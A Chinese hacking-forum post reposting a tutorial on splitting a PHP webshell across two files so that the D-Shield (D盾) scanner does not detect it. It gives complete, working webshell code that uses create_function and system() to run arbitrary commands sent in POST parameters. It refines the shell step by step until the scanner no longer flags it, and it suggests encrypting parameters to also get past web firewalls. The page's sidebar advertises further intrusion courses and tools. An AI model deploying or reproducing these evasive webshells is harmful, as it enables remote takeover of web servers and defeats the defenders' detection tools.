HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: EvilGod
查看: 305|回复: 0

more +随机图赏Gallery

社工库查询工具1.1修改版社工库查询工具1.1修改版
可以手机远程控制电脑,手机远程控制手机的超强工具!可以手机远程控制电脑,手机远程控制手机的超强工具!
简单---两步--进暗网--更新之前的简单---两步--进暗网--更新之前的
2017年中旬WEB渗透系列课程-00前言2017年中旬WEB渗透系列课程-00前言
2017年中旬WEB渗透系列课程-25基于php参数开关的提权2017年中旬WEB渗透系列课程-25基于php参数开关的提权
2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
御剑后台扫描--自带10多兆后台数据库御剑后台扫描--自带10多兆后台数据库
国内高手浅蓝渗透视频,值得一看。国内高手浅蓝渗透视频,值得一看。
【重要公告】2017年中工作进展及最新课程发布【重要公告】2017年中工作进展及最新课程发布
二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆

过d盾一句话之二分法

[复制链接]
EvilGod 发表于 2018-1-11 16:24:01 | 显示全部楼层 |阅读模式
查看: 305|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
作者:gqs
原文地址:https://secvul.com/topics/774.html

0x00 回顾爱春秋原文(https://bbs.ichunqiu.com/thread-25644-1-1.html)通过把1个马分成2个马,从而达到免杀的效果。实现了调用phpinfo()函数的shell。
具体实现如下。
1.php
  1. <?php
  2. $aa=$_REQUEST['aa'];
  3. $funstr=$_REQUEST['fun'];
  4. $cc=$aa.$funstr;
  5. $dd=str_replace($aa, '', $cc)

  6. $fun=create_function('', $dd);
  7. ?>
复制代码
2.php
  1. <?php
  2. include'1.php';
  3. $fun();
  4. ?>
复制代码

使用方法如下:

但是上传shell我们更多的是想执行命令,而不是phpinfo,此shell无法执行命令。

顺着这种”分马”思路,研究对d盾免杀并且可执行命令的shell。
0x01 create_function的使用函数create_function主要用来创建匿名函数。
$fun=create_function(‘’,”phpinfo();”)
以上语句可以这么理解
function $fun(){phpinfo();}                     //当然$fun这样的写法不被允许
可以通过如下语句调用。
$fun();

再来看create_fucntioin创建带参数的函数。
  1. <?php

  2. $fun=create_function('$a', 'system("$a");');

  3. $fun($_POST['cmd']);

  4. ?>
复制代码

执行如下:

0x02 免杀之路首先看下刚才的3.php能否免杀
很遗憾。未分解的马不免杀。

0x03 改进方法下面开始尝试免杀分解动作。
改进一
套用之前爱春秋帖子的套路
分成32.php和31.php
31.php
  1. <?php

  2. $aa=@$_REQUEST['aa'];
  3. $funstr=@$_REQUEST['fun'];
  4. $cc=$aa.$funstr;
  5. $dd=str_replace($aa, '', $cc);
  6. $fun=create_function('$a', $dd.'("$a");');
  7. ?>
复制代码
32.php
  1. <?php

  2. include '31.php';

  3. $aa=$_POST['aa'];

  4. $fun($aa);

  5. ?>
复制代码

执行成功

D盾检测结果如下:

麻痹32.php还是有个级别1,级别1也忍不了。
改进二
这里D盾检测的是$fun($_GET[‘XX’])的形式,那么只要将fun函数的传入的参数修改为不是直接引用get提交的参数就ok。


果然逃过了免杀。顺着这个思路改进下之前的shell。
这里用&拼接命令,用**隔离正常回显。或者加空格应该也行。

丢到d盾里看看。

完美躲过d盾。
0x04 总结该方法只是绕过静态的d盾查杀,并不是对waf的绕过,想要绕过waf的话,还要在传输的get,post参数里自行加解密或者压缩解压缩…,或者通过另外的方式传参。请大佬们自行发挥。
最终修改的二分shell如下:
32.php
  1. <?php
  2. include'31.php';
  3. $aa='echo * &'.$_POST['aa'].'& echo *';
  4. $fun($aa);
  5. ?>
复制代码
31.php
  1. <?php
  2. $aa=@$_REQUEST['aa'];
  3. $funstr=@$_REQUEST['fun'];
  4. $cc=$aa.$funstr;
  5. $dd=str_replace($aa, '', $cc);
  6. $fun=create_function('$a', $dd.'("$a");');
  7. ?>
复制代码


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2018-1-24 13:46 , Processed in 0.063253 second(s), 24 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.